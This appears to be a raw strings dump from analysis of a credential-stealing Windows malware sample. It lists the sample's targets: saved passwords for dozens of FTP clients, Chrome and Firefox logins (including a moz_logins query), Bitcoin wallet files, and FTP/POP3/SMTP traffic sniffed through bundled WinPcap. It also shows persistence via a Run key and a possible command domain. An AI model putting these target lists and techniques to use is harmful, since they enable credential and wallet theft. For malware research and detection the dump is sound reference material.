TurboCap port</pre><pre>PacketGetStatsEx error: %s</pre><pre>Cannot transmit a queue to an offline capture or to a TurboCap port</pre><pre>Impossible to set user buffer while reading from a file or on a TurboCap port</pre><pre>Error: invalid size %d</pre><pre>live dump needs a physical interface supported by the NPF driver</pre><pre>wrong interface type. A physical interface supported by the NPF driver is needed</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\wpcap\PRJ\Release\x86\wpcap.pdb</pre><pre>WS2_32.dll</pre><pre>packet.dll</pre><pre>KERNEL32.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>GetConsoleOutputCP</pre><pre>wpcap.dll</pre><pre>> >$>(>,></pre><pre>: :$:(:,:0:4:</pre><pre>7*848=8`8</pre><pre>?'?,?0?4?]?</pre><pre>3 3<3><pre>.Xa6(</pre><pre>Export</pre><pre>system32\drivers\NPF.sys</pre><pre>SYSTEM\CurrentControlSet\Services\%s</pre><pre>\\.\%s</pre><pre>\\.\Global\%s</pre><pre>npp\ndisnpp.dll</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetNtx\Dll\Project\Release\x86\Packet.pdb</pre><pre>VERSION.dll</pre><pre>NPPTools.dll</pre><pre>iphlpapi.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegEnumKeyW</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>1"1 141;1</pre><pre>435:5`5|5</pre><pre>0&10191\1</pre><pre>9.:4:8:<:><pre>= =@=`=|=</pre><pre>: this object doesn't support resynchronization</pre><pre>StreamTransformation: this object doesn't support random access</pre><pre>CryptoMaterial: this object does not support precomputation</pre><pre>GeneratableCryptoMaterial: this object does not support key/parameter generation</pre><pre>PK_MessageEncodingMethod: this signature scheme does not support message recovery</pre><pre>/index.html</pre><pre>HTTP/1.1</pre><pre>text/html; charset=windows-1251</pre><pre><p>The requested URL</p></pre><pre>HTTP/1.1</pre><pre>Clean up all keys.</pre><pre>Use next keys:</pre><pre>REG keys[</pre><pre>Use REG keys:</pre><pre>Gen new port key!</pre><pre>Gen new job key!</pre><pre>Gen new list key!</pre><pre>/dev/index.html</pre><pre>No i key:</pre><pre>No m key:</pre><pre>No p key:</pre><pre>No j key:</pre><pre>No r key:</pre><pre>Err in ID key: decr:</pre><pre>Err in ID key: check</pre><pre>Err in ID key: invalid</pre><pre>abrora.biz</pre><pre>Check Compromzed REG key:</pre><pre>Compromzed REG key:</pre><pre>C:\boost\include\boost-1_47\boost/exception/detail/exception_ptr.hpp</pre><pre>Keys3</pre><pre>Appkey</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>webscanx</pre><pre>hkcmd</pre><pre>firefox</pre><pre>em_exec</pre><pre>CrashReport</pre><pre>\tmp.exe</pre><pre>*.exe</pre><pre>explorer.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>Mozilla/5.0 (Windows; U; Windows NT</pre><pre>; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17</pre><pre>SMTP:</pre><pre>%d.%d.%d.%d</pre><pre>!#$%&'* -/=?^_`{|}~</pre><pre>.in-addr.arpa</pre><pre>: Maximum attempts exeeded</pre><pre>%s, %d %s %d d:d:d %cdd</pre><pre>dddddd</pre><pre>ddddd</pre><pre>x.8lx$.8lx$x@%s</pre><pre>----=_NextPart_d_X_.8lX..8lX</pre><pre>password</pre><pre>F/c "start Í%\</pre><pre>&& %windir%\explorer Í%\</pre><pre>%SystemRoot%\system32\shell32.dll</pre><pre>npf.sys</pre><pre>Packet.dll</pre><pre>( tcp dst port 21 ) or ( tcp dst port 110 ) or ( tcp dst port 25 )</pre><pre>smtp</pre><pre>pop3_smtp</pre><pre>HostPassword</pre><pre>HostPort</pre><pre>32BitFtp.ini</pre><pre>0003DFTP</pre><pre>3D-FTP</pre><pre>sites.ini</pre><pre>\3D-FTP</pre><pre>Password</pre><pre>Port</pre><pre>port</pre><pre>QData.dat</pre><pre>ESTdb2.dat</pre><pre>\Estsoft\ALFTP</pre><pre>TYPE = SFTP</pre><pre>sftp</pre><pre>SET PASS</pre><pre>bitkinex.ds</pre><pre>LastPassword</pre><pre>LastPort</pre><pre>BlazeFtp</pre><pre>site.dat</pre><pre>\BlazeFtp</pre><pre>Software\FlashPeak\BlazeFtp\Settings</pre><pre>*.dat</pre><pre>*.bps</pre><pre>Software\BPFTP</pre><pre>Chrome</pre><pre>ftp://</pre><pre>origin_url</pre><pre>password_value</pre><pre>logins</pre><pre>SQLite format 3</pre><pre>Web Data</pre><pre>Login Data</pre><pre>Google\Chrome</pre><pre>ChromePlus</pre><pre>Nichrome</pre><pre>MapleStudio\ChromePlus</pre><pre>browser.yandex</pre><pre>Software\ChromePlus</pre><pre>_Password</pre><pre>FtpServer</pre><pre>FtpUserName</pre><pre>FtpPassword</pre><pre>_FtpPassword</pre><pre>FtpDirectory</pre><pre>FtpDescription</pre><pre>Software\NCH Software\ClassicFTP\FTPAccounts</pre><pre>FTP destination server</pre><pre>FTP destination user</pre><pre>FTP destination password</pre><pre>FTP destination catalog</pre><pre>FTP destination port</pre><pre>FTP profiles</pre><pre>Software\FTPWare\COREFTP\Sites</pre><pre>ftps</pre><pre>CSMFTPItem</pre><pre>sm.dat</pre><pre>\GlobalSCAPE\CuteFTP</pre><pre>\GlobalSCAPE\CuteFTP Pro</pre><pre>\GlobalSCAPE\CuteFTP Lite</pre><pre>\CuteFTP</pre><pre>CUTEFTP</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar</pre><pre>Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar</pre><pre>user.config</pre><pre>*.duck</pre><pre>Nickname</pre><pre>sites.xml</pre><pre>DeluxeFTP</pre><pre>FTP-Now</pre><pre>FTPNow</pre><pre>FTP Now</pre><pre>LOGIN</pre><pre>PASSWORD</pre><pre>PORT</pre><pre>*.oxc</pre><pre>*.oll</pre><pre>ftplast.osd</pre><pre>EasyFTP</pre><pre>SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32</pre><pre>\Plugins\FTP\Hosts</pre><pre>\SavedDialogHistory\FTPHost</pre><pre>FTPList.db</pre><pre>DefaultPassword</pre><pre>Software\Sota\FFFTP</pre><pre>Software\Sota\FFFTP\Options</pre><pre>Server.Port</pre><pre>Server.Pass</pre><pre>Server.User</pre><pre>Server.Host</pre><pre>Last Server Port</pre><pre>Last Server Pass</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>History.dat</pre><pre>ServerPass</pre><pre>SharedSettings.ccs</pre><pre>SharedSettings_1_0_5.ccs</pre><pre>SharedSettings.sqlite</pre><pre>SharedSettings_1_0_5.sqlite</pre><pre>FreshFTP</pre><pre>*.SMF</pre><pre>FtpSite.xml</pre><pre>QuickFtp</pre><pre>FTP Commander</pre><pre>usessh</pre><pre>ftplist.txt</pre><pre>FTP Navigator</pre><pre>*.prf</pre><pre>FTP CONTROL</pre><pre>Login</pre><pre>PasswordType</pre><pre>CFTPToolBarComboBoxButton</pre><pre>profiles.xml</pre><pre>\FTP Explorer</pre><pre>Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224</pre><pre>Software\FTP Explorer\Profiles</pre><pre>ftpx</pre><pre>Software\MAS-Soft\FTPInfo\Setup</pre><pre>ServerList.xml</pre><pre>\FTPInfo</pre><pre>RushSite.xml</pre><pre>\FTPRush</pre><pre>FTPShell</pre><pre>ftpshell.fsi</pre><pre>servers.xml</pre><pre>\FTPGetter</pre><pre>server_user_password</pre><pre>server_port</pre><pre>SM.arch</pre><pre>GoFTP</pre><pre>Goftp Rocks 91802sfaiolpqikeu39</pre><pre>Connections.txt</pre><pre>MS IE FTP Passwords</pre><pre>pstorec.dll</pre><pre>advapi32.dll</pre><pre>sites.dat</pre><pre>unleap.exe</pre><pre>\LeapWare\LeapFTP</pre><pre>LeechFTP Bookmark File.</pre><pre>bookmark.dat</pre><pre>Software\LeechFTP</pre><pre>LeechFTP</pre><pre>LINASFTP1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ</pre><pre>Software\LinasFTP\Site Manager</pre><pre>Mozilla</pre><pre>nss3.dll</pre><pre>PK11_GetInternalKeySlot</pre><pre>sqlite3_close</pre><pre>sqlite3_column_blob</pre><pre>sqlite3_column_bytes</pre><pre>sqlite3_prepare</pre><pre>sqlite3_step</pre><pre>SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins</pre><pre>mozsqlite3.dll</pre><pre>sqlite3.dll</pre><pre>sqlite3_open</pre><pre>signons.sqlite</pre><pre>signons.txt</pre><pre>signons2.txt</pre><pre>signons3.txt</pre><pre>\profiles.ini</pre><pre>PathToExe</pre><pre>Mozilla\Firefox</pre><pre>Firefox</pre><pre>Software\Mozilla</pre><pre>SeaMonkey</pre><pre>Mozilla\SeaMonkey</pre><pre>Mozilla\Profiles</pre><pre>remote password</pre><pre>remote port</pre><pre>My FTP</pre><pre>project.ini</pre><pre>klfhuw%$#%fgjlvf</pre><pre>NDSites.ini</pre><pre>FTP .Link\shell\open\command</pre><pre>*.fpl</pre><pre>xxx.xiles.net</pre><pre>ftpsite.ini</pre><pre>NppFTP.xml</pre><pre>nppftp</pre><pre>MasterPass</pre><pre>user_pass</pre><pre>host_port</pre><pre>SQLite3</pre><pre>bmk_ftp</pre><pre>NovaFTP.db</pre><pre>\INSoftware\NovaFTP</pre><pre>SiteInfo.QFP</pre><pre>PortNumber</pre><pre>SOFTWARE\Robo-FTP 3.8\FTPServers</pre><pre>SOFTWARE\Robo-FTP 3.7\FTPServers</pre><pre>S:"Password"</pre><pre>D:"Transfer Port"</pre><pre>*.ini</pre><pre>*.xml</pre><pre>Msi.dll</pre><pre>{74FF1730-B1F2-4D88-926B-1568FAE61DB7}</pre><pre>\SmartFTP</pre><pre>Favorites.dat</pre><pre>Software\FTPClient\Sites</pre><pre>Software\SoftX.org\FTPClient\Sites</pre><pre>Staff-FTP</pre><pre>C87BC961-AAF9-11d2-8A80-0080ADB32FF4</pre><pre>sites.db</pre><pre>CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32</pre><pre>\Whisper Technology\FTP Surfer</pre><pre>TurboFTP@</pre><pre>TurboFTP@usa.net</pre><pre>turboftp@</pre><pre>Software\TurboFTP</pre><pre>\TurboFTP</pre><pre>addrbk.dat</pre><pre>quick.dat</pre><pre>PassWord</pre><pre>Software\South River Technologies\WebDrive\Connections</pre><pre>Software\Cryer\WebSitePublisher</pre><pre>WinFTP</pre><pre>your.name@your.server.com</pre><pre>FTPServers.Servers1_FTPServers</pre><pre>_PassWord</pre><pre>_Port</pre><pre>wiseftpsrvs.bin</pre><pre>wiseftpsrvs.ini</pre><pre>wiseftp.ini</pre><pre>SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}</pre><pre>SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}</pre><pre>WS_FTP</pre><pre>\win.ini</pre><pre>Ipswitch\WS_FTP</pre><pre>Software\Ghisler\Windows Commander</pre><pre>\Windows Commander</pre><pre>\wcx_ftp.ini</pre><pre>FtpIniName</pre><pre>*.xfp</pre><pre>FAR Manager FTP</pre><pre>Windows/Total Commander</pre><pre>TurboFTP</pre><pre>WebSitePublisher</pre><pre>SoftX FTP Client</pre><pre>LeapFTP</pre><pre>32bit FTP</pre><pre>FTP Control</pre><pre>CuteFTP</pre><pre>FFFTP</pre><pre>Core FTP</pre><pre>WebDrive</pre><pre>Classic FTP</pre><pre>FTP Explorer</pre><pre>SmartFTP</pre><pre>FreeFTP/DirectFTP</pre><pre>FTPRush</pre><pre>FTPGetter</pre><pre>ALFTP</pre><pre>3DFTP</pre><pre>XFTP</pre><pre>TFTPInfo</pre><pre>MyFTP</pre><pre>NovaFTP</pre><pre>&#xX;</pre><pre></pre><pre>%s="%s"</pre><pre>%s='%s'</pre><pre><!--%s--></pre><pre><![CDATA[%s]]></pre><pre>version="%s"</pre><pre>encoding="%s"</pre><pre>standalone="%s"</pre><pre>crypt32.dll</pre><pre>%Documents and Settings%</pre><pre>\Application Data\Bitcoin\wallet.dat</pre><pre>C:\Users</pre><pre>\AppData\Roaming\Bitcoin\wallet.dat</pre><pre>GetKeyboardState</pre><pre>SetKeyboardState</pre><pre>KeySize</pre><pre>: this object does't support a special last block</pre><pre>NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes</pre><pre>: this object doesn't support multiple channels</pre><pre>is not a valid key length</pre><pre>InvertibleRSAFunction: computational error during private key operation</pre><pre>TF_SignerBase: this algorithm does not support messsage recovery or the key is too short</pre><pre>TF_SignerBase: the recoverable message part is too long for the given key and algorithm</pre><pre>for this key</pre><pre>: this key is too short to encrypt any messages</pre><pre>for this public key</pre><pre>PK_Signer: key too short for this signature scheme</pre><pre>operation failed with error</pre><pre>?#%X.y</pre><pre>.?AVwindows_file_codecvt@@</pre><pre>zcÁ</pre><pre>.PAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@</pre><pre>.?AV?$sp_ms_deleter@V?$connection@Vhttp_simple_client@http@net_utils@@@net_keys@@@detail@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$stream_socket_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AVmoniker_helper@monkeys@@</pre><pre>.?AVmonkey_swap_nibbles@monkeys@@</pre><pre>.?AVmonkey_xor@monkeys@@</pre><pre>.?AVmonkey_running_xor@monkeys@@</pre><pre>.?AVmonkey_swap@monkeys@@</pre><pre>.?AVmonkey_reverse@monkeys@@</pre><pre>.?AVmonkey_roll_n@monkeys@@</pre><pre>.?AVmonkey_bits_pack@monkeys@@</pre><pre>.?AVmonkey_wave@monkeys@@</pre><pre>.?AV?$bind_t@_NV?$mf4@_NVhttp_simple_client@http@net_utils@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HII@_mfi@boost@@V?$list5@U?$arg@$00@boost@@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V?$value@H@42@V542@V542@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NV?$mf2@_NV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@II@_mfi@boost@@V?$list3@V?$value@PAV?$proxy@Vhttp_simple_client@http@net_utils@@@net_keys@@@_bi@boost@@V?$value@I@23@V423@@_bi@3@@_bi@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$socket_acceptor_service@Vtcp@ip@asio@boost@@@asio@boost@@@detail@asio@boost@@</pre><pre>.?AV?$typeid_wrapper@V?$resolver_service@Vtcp@ip@asio@boost@@@ip@asio@boost@@@detail@asio@boost@@</pre><pre>.?AV?$bind_t@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$cmf0@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Vreg_keys_holder@reg_win@@@_mfi@boost@@V?$list1@U?$arg@$00@boost@@@_bi@5@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list3@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@_bi@2@@_bi@boost@@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@11ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list5@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V452@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@52@@_bi@boost@@@_bi@boost@@</pre><pre>.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@CryptoPP@@</pre><pre>.?AVPublicKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPrivateKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVPKCS8PrivateKey@CryptoPP@@</pre><pre>.?AVPublicKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPublicKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVX509PublicKey@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@</pre><pre>.?AVSimpleKeyingInterface@CryptoPP@@</pre><pre>.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.PAVRSAFunction@CryptoPP@@</pre><pre>.PAVInvertibleRSAFunction@CryptoPP@@</pre><pre>.PBVPrimeSelector@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AVKeyTooShort@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$00$0BAA@$00$03$0A@@CryptoPP@@</pre><pre>.?AV?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@VARC4_Base@Weak1@2@@CryptoPP@@</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp2318057572.exe</pre><pre>%WinDir%</pre><pre>%System%\drivers\</pre><pre>%System%\</pre><pre>CreateIoCompletionPort</pre><pre>GetWindowsDirectoryA</pre><pre>GetSystemWindowsDirectoryA</pre><pre>RegQueryInfoKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegEnumKeyExA</pre><pre>MapVirtualKeyA</pre><pre>HttpOpenRequestA</pre><pre>HttpSendRequestA</pre><pre>InternetCrackUrlA</pre><pre>HttpQueryInfoA</pre><pre>%m5V%L%d%h%w%9º"1@f[:B</pre><pre>3,#9'/($*</pre><pre>]<%cW><pre>.-/&00((00</pre><pre>5-9,0000</pre><pre>###03# 1#</pre><pre>!&]#### -###))558)</pre><pre>##-;##=4--#</pre><pre># 0-\# ; ;####3<</pre><pre>[5#>=@5#</pre><pre>#)0#3#>#</pre><pre>###66## . </pre><pre># #-#1?6)</pre><pre>"- -#%-)</pre><pre>(88($(80@</pre><pre>8$,$ $0 80(,,</pre><pre>,4840$,(\8$$@(</pre><pre><004><pre>.reloc</pre><pre>DNSAPI.dll</pre><pre>IPHLPAPI.DLL</pre><pre>MSWSOCK.dll</pre><pre>OLEAUT32.dll</pre><pre>PSAPI.DLL</pre><pre>SHELL32.dll</pre><pre>USER32.dll</pre><pre>WININET.dll</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>npf.sys (NT5/6 x86) Kernel Driver</pre><pre>4.1.0.1753</pre><pre>5755555555</pre><pre>5555555</pre><pre>577777555555</pre><pre>0000001111111</pre><pre>11111122222222</pre><pre>6666668</pre><pre>88888888</pre><pre>,-./0123456789</pre><pre>$567$$=></pre><pre>.pqrst</pre><pre>$%&'()* ,</pre><pre>wpcap.dll Dynamic Link Library - based on libpcap 1.0rel0b branch (20091008)</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</pre><pre>TcpIp</pre><pre>SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>drivers\NPF.sys</pre><pre>airpcap.dll</pre><pre>\StringFileInfo\xx\FileVersion</pre><pre>PACKET.DLL</pre><pre>packet.dll (NT5) Dynamic Link Library</pre><pre>abe2869f-9b47-4cd9-a358-c22904dba7f7</pre><b>temp2318057572.exe_1356_rwx_00400000_0023E000:</b><pre>h]On%S</pre><pre>h%spmS</pre><pre>FTPQ</pre><pre>PSSSSSSh</pre><pre>FTPS</pre><pre>D$4h%XG</pre><pre>~$)~()|$</pre><pre>3|$83|$0</pre><pre>3|$<3><pre>3|$@3|$4</pre><pre>.QZ^&</pre><pre>vSSSh</pre><pre>FTPjK</pre><pre>FtPj;</pre><pre>C.PjRV</pre><pre>tGHt.Ht&</pre><pre>Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag</pre><pre>Can't terminate a sub-expression with an alternation operator |.</pre><pre>A regular expression can start with the alternation operator |.</pre><pre>Alternation operators are not allowed inside a DEFINE block.</pre><pre>More than one alternation operator | was encountered inside a conditional expression.</pre><pre>A repetition operator cannot be applied to a zero-width assertion.</pre><pre>Invalid alternation operators within (?...) block.</pre><pre>The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.</pre><pre>Found a closing repetition operator } with no corresponding {.</pre><pre>The repeat operator " " cannot start a regular expression.</pre><pre>The repeat operator "?" cannot start a regular expression.</pre><pre>The repeat operator "*" cannot start a regular expression.</pre><pre>right-curly-bracket</pre><pre>left-curly-bracket</pre><pre>0123456789</pre><pre>Unmatched quantified repeat operator { or \{.</pre><pre>Invalid preceding regular expression prior to repetition operator.</pre><pre>deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler</pre><pre>1.2.5</pre><pre>inflate 1.2.5 Copyright 1995-2010 Mark Adler</pre><pre>boost::filesystem::directory_iterator::operator </pre><pre>Visual C CRT: Not enough memory to complete call to strerror.</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>portuguese-brazilian</pre><pre>Broken pipe</pre><pre>Inappropriate I/O control operation</pre><pre>Operation not permitted</pre><pre>operator</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>login</pre><pre>Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0</pre><pre>Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00</pre><pre>Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14</pre><pre>Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14</pre><pre>Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2</pre><pre>Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)</pre><pre>Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)</pre><pre>asio.misc</pre><pre>asio.misc error</pre><pre>thread.entry_event</pre><pre>thread.exit_event</pre><pre>255.255.255.255</pre><pre>0.0.0.0</pre><pre>127.0.0.1</pre><pre>%d.%m.%Y %H:%M:%S</pre><pre>%a, %d %b %Y %H:%M:%S GMT</pre><pre><4><pre>(3-!0,1'8"5.*2$</pre><pre>.text</pre><pre>h.rdata</pre><pre>H.data</pre><pre>.rsrc</pre><pre>B.reloc</pre><pre>DriverEntry: TCP-IP not found, quitting.</pre><pre>DriverEntry: Adapters not found in the registry, try to copy the bindings of TCP-IP.</pre><pre>DriverEntry: OS Version: %d.%d</pre><pre>Device %d = %ws</pre><pre>Status of %x querying key value</pre><pre>Status of %x querying key value for size</pre><pre>OpenKey Failed, %d!</pre><pre>Key name=%ws</pre><pre>Status of %x opening %ws</pre><pre>Mac %u = %ws</pre><pre>Tcpip bind value not REG_MULTI_SZ but %u</pre><pre>Querying key value result len = %u 